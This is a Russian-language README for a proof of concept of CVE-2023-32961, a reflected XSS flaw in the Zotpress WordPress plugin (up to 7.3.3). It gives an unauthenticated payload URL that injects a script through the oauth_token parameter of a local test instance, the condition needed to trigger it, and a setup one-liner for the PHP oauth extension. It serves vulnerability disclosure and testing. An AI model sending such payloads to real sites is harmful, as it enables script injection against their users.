
PoC для CVE-2023-32961
Этот репозиторий посвящён XSS-уязвимости в плагине Zotpress для WordPress.
Zotpress
≤ 7.3.3
zotpress
https://wordpress.org/plugins/zotpress/
Без аутентификации
Функция get_request_token в zotpress/lib/admin/admin.accounts.oauth.php уязвима для XSS-атаки.
get_request_token. (только при первом запуске)
Отправьте полезную нагрузку следующего вида: http://localhost:8080/wp-content/plugins/zotpress/lib/admin/admin.accounts.oauth.php?return_uri=http://localhost:8080&oauth_token=1http://localhost:8080/wp-content/plugins/zotpress/lib/admin/admin.accounts.oauth.php?return_uri=http://localhost:8080&oauth_token="><script>alert(1)</script>Вам потребуется учётная запись на zotero.org.
Вам необходимо установить значение oauthState равным 1, чтобы вызвать уязвимость. Если указанная выше полезная нагрузка не срабатывает, вам нужно найти способ установить oauthState в 1.
условное выражение:
$_GET['oauth_token'] != $state['request_token_info']['oauth_token']
Простая установка расширения php oauth:
Однострочная команда:
sudo su; apt-get update; apt-get -y install gcc make autoconf libc-dev pkg-config libpcre3-dev; pecl install oauth; bash -c "echo extension=oauth.so > $PHP_INI_DIR/conf.d/oauth.ini"; service apache2 restart
Протестировано в Docker-образе wordpress:latest.